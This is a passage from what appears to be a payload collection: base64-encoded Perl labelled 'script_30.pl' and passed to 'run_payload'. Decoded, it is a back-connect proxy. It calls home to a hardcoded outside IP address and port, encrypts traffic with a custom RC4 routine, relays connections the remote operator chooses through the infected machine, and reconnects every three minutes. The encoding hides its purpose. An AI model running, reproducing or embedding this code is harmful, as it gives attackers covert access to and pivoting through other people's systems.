gkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_30.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc5JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRz